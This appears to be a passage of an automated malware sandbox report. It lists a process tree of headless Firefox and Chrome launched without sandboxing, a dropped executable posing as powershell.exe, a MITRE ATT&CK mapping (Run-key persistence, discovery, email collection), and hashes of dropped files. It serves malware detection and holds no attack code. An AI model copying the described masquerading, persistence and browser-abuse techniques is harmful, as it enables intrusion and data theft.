    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\6dcf734a-74cb-47f3-baa1-9150109c9a01.dmp"
        5⤵
        
        PID:4492
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4192 -prefsLen 27323 -prefMapHandle 4196 -prefMapSize 270279 -ipcHandle 4320 -initialChannelId {646b1e3f-37db-454a-842c-5c4fffb88d43} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 rdd
        5⤵
        
        PID:5340
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1688 -prefsLen 34822 -prefMapHandle 2992 -prefMapSize 270279 -jsInitHandle 2996 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2908 -initialChannelId {fba6674f-c80d-4b98-9f17-b1abd0efeecf} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        5⤵
        Checks processor information in registry
        
        PID:5696
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4980 -prefsLen 34822 -prefMapHandle 4904 -prefMapSize 270279 -ipcHandle 5096 -initialChannelId {3b01ac50-8b17-4cf2-8850-61e12d45a423} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 utility
        5⤵
        Checks processor information in registry
        
        PID:2500
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2796 -prefsLen 32952 -prefMapHandle 2804 -prefMapSize 270279 -jsInitHandle 5180 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5184 -initialChannelId {ae888e4e-d1f0-44dd-b462-307195ece29a} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:2332
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5336 -prefsLen 32952 -prefMapHandle 5340 -prefMapSize 270279 -jsInitHandle 5344 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5352 -initialChannelId {c8ea560e-c311-4943-b62b-72f8e9e53f76} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        5⤵
        Checks processor information in registry
        
        PID:1892
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5388 -prefsLen 32952 -prefMapHandle 5392 -prefMapSize 270279 -jsInitHandle 5396 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5404 -initialChannelId {a8631f37-acc2-4b45-b8f1-9056638f38bf} -parentPid 5308 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5308" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
        5⤵
        Checks processor information in registry
        
        PID:4556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    PID:1264
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffd4ac3c728,0x7ffd4ac3c734,0x7ffd4ac3c740
      4⤵
      PID:580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,15931407018402576258,11024038577595083863,262144 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
      4⤵
      PID:4524
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1800,i,6267234036938593280,12694855406855841958,524288 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:11
      4⤵
      System Time Discovery
      PID:1680
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --force-high-res-timeticks=disabled --metrics-shmem-handle=2052,i,17622676939391193664,5498211002604143376,524288 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:13
      4⤵
      PID:3084
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2932,i,12127524695178635137,4443341553592334915,2097152 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=2984 /prefetch:1
      4⤵
      PID:4036
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2936,i,3477900278807695056,865552521903877574,2097152 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:1
      4⤵
      PID:1076
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3080,i,3689018726355662123,17117939388080484782,2097152 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
      4⤵
      PID:1380
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3092,i,2381084118407328631,6755863483549933398,2097152 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:9
      4⤵
      PID:1784
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3644,i,14659211851903021649,2223068710491558831,2097152 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:9
      4⤵
      Drops file in Program Files directory
      PID:5364
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3cwxqcbt.gwf" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4136,i,11381421418935305302,4069100864806828032,2097152 --field-trial-handle=2348,i,5101766565673984897,7323441780432604925,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:1
      4⤵
      Drops file in Program Files directory
      PID:5456

C:\Users\Admin\AppData\Roaming\powershell.exe
C:\Users\Admin\AppData\Roaming\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5460

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 1KB
SHA256 a7ed8aa08b63dc994785e83a5ce2d566563d7534866e4a798e798b438c932484
MD5 89096d291b061ef3742774c508d38058
SHA1 ce730b596686110f6c5b9ac1d4bdcb2c86e00231
SHA512 6bd2e6bc75b5fd416215b18a7beea487ac36c2b1cb9e5961123444c462a2f43f13f125955ac1f4b5e82b262cd74d2ab6f201083d4483e48af9197ffab7909bab
TLSH
T112312D9315EA24EB89D1506183305F522C65B776378CBA822F7871493511E3C5EEF40F
MD5 SHA1 SHA512 TLSH

Submit Download

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 5KB
SHA256 d4b1a8f895f2cf1692b6a89333d4c53d5f8e92ea0b2c4f9c43c237757f081a1f
MD5 581833dd3c683c2014f8a18dab74e80a
SHA1 a5bc88c97d062cabfa2e83592a54b159bc031d3a
SHA512 d5b7dcd5afe5a0d3a8ac03d4af62c6771484e5e967feca7bea2cffe746ef325dd877df222e440827902645eac360de87428809d32db685f325756b291b93276f
SSDEEP 96:op/WTBTAH5coAONMNhNUzNzEU4LpjBEWnEaRYD6pcal5HFHSRHxmZHi1vnUGQnUK:yOtkcoAONMNhNWNAU4LF2WnEaRY6pcap
TLSH
T1C3C1BB9308DB59EB89D15012D7709FA12C193B33778DBA51BB78A18E2121D3C6EDF40B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_pktoygj0.3zp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pktoygj0.3zp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Crashpad\settings.dat
Size 40B
SHA256 44595de23a93959b4c41216f86ae83fb4900a4de69765bab2fc71a97dff42f94
MD5 22fb51c8cc1e476933e1677351dfc1e2
SHA1 902d90d5bf8f3c369e6bfd5f717ebff365da71c4
SHA512 1f840f6ce4e5a1505c00475ece562db5a65a05b913c3c0d450a1110cba067ea53f5c04af21c7d742d7c77ce30b1e56b9c5881c9856906dd84f8764b10f1ca8ee
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 4abd610dbb9c6de717beb95e79fabf5182992e77b6411526d1437702cd98d0e9
MD5 83737c79de50bb388fe334c4e3240154
SHA1 696e49385df36802c91a6eaea718cc52212465d6
SHA512 d6fcc87f4a71a53d406141913fe9b2c0c73035cbe045c37d160b99d87a7d645011a74760b1f58fda482f97ba237dba8c061f9ecbb0701b11acd0b59f1ea7341f
SSDEEP 3:MsFlTlrllkl2yQcSQl9ikell14hy8KlMHKll91ME3llll:/F02yQdQl9ike94kz9llll
TLSH
T14013127ED880DC03C3D0057CF4975BB0B2B0C908432123A3B060543518323C508000C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 c483d49adf4774920486da7061867bf64bd11de8ca0146c6bc24ea56dc36404d
MD5 87db289be4e3b19f2a7738b9ce474566
SHA1 989a36f5249cb94f2248cafe040ee2e382b01dce
SHA512 d5f942d607d9bd0deac12e3b562428e45cb1fb9fd754e4965cc4620dfead7a5cf5ff9053a77a1fe1b8380c99a764e59a1c4ed4aef7bf787b562a51075af1bca1
SSDEEP 6:/M/LlE3U1Q7qColDzuSezuSeGLIiv8i/yvQAQzuSezuSeGLIivB/:U/VQ7qColWpqp9iki6Npqp9i
TLSH
T18944C2F33C40910BC79092F90001623C9C77D20C2C9E8ECBE11408320554EA62864494
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Cache\Cache_Data\index
Size 256KB
SHA256 ad51dcdd7a65c7919ac68b281f6d21aa52b39fa5f81fb7adf97a4fd140968b52
MD5 e2fbca5f88408a077c300c65e55872cd
SHA1 46c7c681652dd4334612591e7e5afabb6b217ee9
SHA512 f92eea1ba913b87cd84c0674bbb055b9d6cc0ebfb6be80ec3a525879cbf7872fc5a6b5adaa3ba95c0899dee14417a2762785c641029e3851b8d649b8e4e6a8c0
SSDEEP 3:LsOlElNllklkXlOt//NlUltnMNtldlXl:LsKM3lPOtcGN
TLSH
T15644022A07874C16C2C1437C449283242738C004E70F8343933452300C817911E0A040
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ba678a2fbd8c358c_0

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Code Cache\js\ba678a2fbd8c358c_0
Size 298B
SHA256 917f12ca8a1b4c533788e4cd0da9634d053a3feb57943df285cf2b092b17c5a4
MD5 6edb2494b0e77ebd4468695df1dcdfb6
SHA1 d805fd78bb1b9d61f5fd8b7a0795f23e93e71978
SHA512 0385777201a3bd4cc4bad94573e389b4c9101330b1dc7dd99e019f6833fae05d3fec3a8398f7f9d294625a0cb995367227356aa690bd0fade1ddc38d09d462d1
TLSH
T1FAE02B81824D4F0DD32D96F7CEA703044A0A42C42ABE3703A880C2C133529741258122
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 132512b97468556e7fa57d2bdd1b6b43296176d7133cadea6d8f0a277dd1c5ea
MD5 fe98661f62177aad92c24a740f0ff639
SHA1 5b9815325d36c5750ac8f3c869febf1bb3b4fb74
SHA512 5cb9d6de59f17c9b3c503760b0c6c3254149853db111c09692721b2af6fe7b4f78f6b9861a930f66962d3037b6ed2efb78b90314be737c55c5f0d672eefb81bf
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Code Cache\wasm\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 2bd8fe90d5604841433d81fe700ebb8c88163d545afb84ec494450b116bc96fe
MD5 08b0967856829d7dd2f4183a251cbb69
SHA1 1747c45b1392dd1784fa746ac9b4dc93a4f2bee6
SHA512 b099f8f2ca9bd4edc95f9761ca6d7ecffb2389b0fe6b7106626e9edc9bdcb74d46bcae6dc8275b7344f734783c02eee6c2baee1f3c430d5cd9b88c6cde97f885
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\DawnWebGPUCache\index
Size 256KB
SHA256 c1444c5a849eab8f92eda789f9310171988e36ca89479132c596993f3b1eeba7
MD5 c3a49766b2c7526f9afc7d9c1cc6e5ff
SHA1 4dfceb7a0fbaf4e1a2124104c8024b24a6e35c4f
SHA512 9537178581e9f86897258c5e4c0022ed2ec82ebc70e1f8ecf06a2325ccda16297bc2f63c9ba3f585cab2536a9f9d74cc8f12907f52cb599254f092fe6dce2793
SSDEEP 3:Lstlll+Ob1:LsX/+Ob1
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\GPUCache\index
Size 256KB
SHA256 551e7e570dfe9428bd4c4210d070486a7d9102f2e3fe777004020abf982de0d0
MD5 e4fb2dc2c437c1bc272ce97e5efb85bc
SHA1 a04c26356abac136ec75c1b21cbbddfc89b03f7a
SHA512 ad78e97643a9ba49bce012fa4fea2c7b21f28d68bee919bfcb1165763166a24865fc3b82cac4590b0fe0c42bb6091d942f2d025ea9d89ced44c014a9632d7225
SSDEEP 3:LstlNllklkXlyBX:LsX3lPyR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Preferences
Size 3KB
SHA256 c90d5b5d061944f3aac7eab0b2c4e8593409a36e066600235666ea2ed88d1b1e
MD5 a8d15ae50764f7686199e16dd5086c96
SHA1 cd7aa0906ddc4b21deecced541615545b2ffe774
SHA512 7b41657ff5b4fb31999444289a1c09267d261cffe3a0f6c799921bf5fdbf4517914edd001cc253a4f8eb89e1dd3c8f2325323f786bf522fdf615f5a788a7d686
TLSH
T11061751DC4640DAB0DB67B75792A0783FA50827B25016C573E7E198C0F778664080F2E
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Default\shared_proto_db\metadata\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Local State
Size 1KB
SHA256 29de5ec2b853ec8c3de2b848bface3eb744ab873592e0ce2ea09d9762d099f09
MD5 4751baba73203e78209970aab2a08e58
SHA1 3daa6efb55c53907ec0e4886e28c7888cf4ff2d7
SHA512 7927d2deecf0350f4ad756114f8547d0430daf7631bce485f0d9ebf80b66652c08ea2f6d9d80d59591b81f93e3834c43a6ede0f3c9306540d91bc93508fb13ff
TLSH
T1BB11B57269646AB3A4C5830FA694863B0F786267C08A9E0C32CE080D02755983306C38
MD5 SHA1 SHA512 TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Temp\gfo4xq2y.elj\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\xwlanadd.iy3\Crashpad\settings.dat
Size 280B
SHA256 2d70dc7e35d09097cd8e7d99777c742b297020fa23165deee7a07f95c69adb00
MD5 885ed6804d5240f6778141db1d5fc987
SHA1 973343708d42b4fb5297b505108f871363e7bb0f
SHA512 12eb5f83b4432b3f30a07a5a143575c7fc097d328bdf7a48815ff61aad84a510563f6ea4bb2889d398c13f0ab34f909791810285c5396bb3b40748e836dbd090
MD5 SHA1 SHA512

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\xwlanadd.iy3\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

4ec46c47-defc-4641-80c6-6190832505da.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4ec46c47-defc-4641-80c6-6190832505da.dmp
Size 64KB
SHA256 25b969817accc24f1139cdfcdf9d2929df06179d7ad8affb8fc7a4551d9517ad
MD5 867a598ba7a895714dcc4a1b7f744851
SHA1 be09baed430272dcdc113ff06250cfbbcf4ce322
SHA512 086e93fed0b3f7dfbbbed9a222453d260b876d86b7bb127e37f8534f1b2455bb64035daafdb66c55d694614501737d86ddfa31f9b5f33cab0c105d6133d57ec7
SSDEEP 768:4FT+ZXT+npbOzG9SPy8QtONAb+Wo3XYWS/jqh:I9NBs3Dh
TLSH
T18D53D936BB8804A6F529473959E767613BFBE82047A3835F0B905AFE1C6B341EC35E11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4ec46c47-defc-4641-80c6-6190832505da.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4ec46c47-defc-4641-80c6-6190832505da.extra
Size 10KB
SHA256 99bed11d4adfb0f5b59231349587f7d438f49db1b0cfdb446f2adf85f7dd8c04
MD5 f9bb9bcebf944436983178816a3b8e80
SHA1 b6280f1ae6a00b99a6fefa97356fb32b2727b5d4
SHA512 50d867d569e64c3cd1b2e70ad2d5408e7ba981e59d4e79e3000d59ec004b634d888bb92e78876e05b332116d88dc6728f589bae582fdbaa901526b5a4ebf92c6
SSDEEP 96:STWCdT09IY6pw6lFFdtH0Rh7CTvBb1d0FjMLlIrLlhTLlaXv7acutILfcBCqwvEV:S5F88FbG7WvZ8RLqxsP5wlfsfoin
TLSH
T106228253874724B79D4198C4BC30AE7C45EC6FAA51F958A802CC4D47FA4A8F81FB44F2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

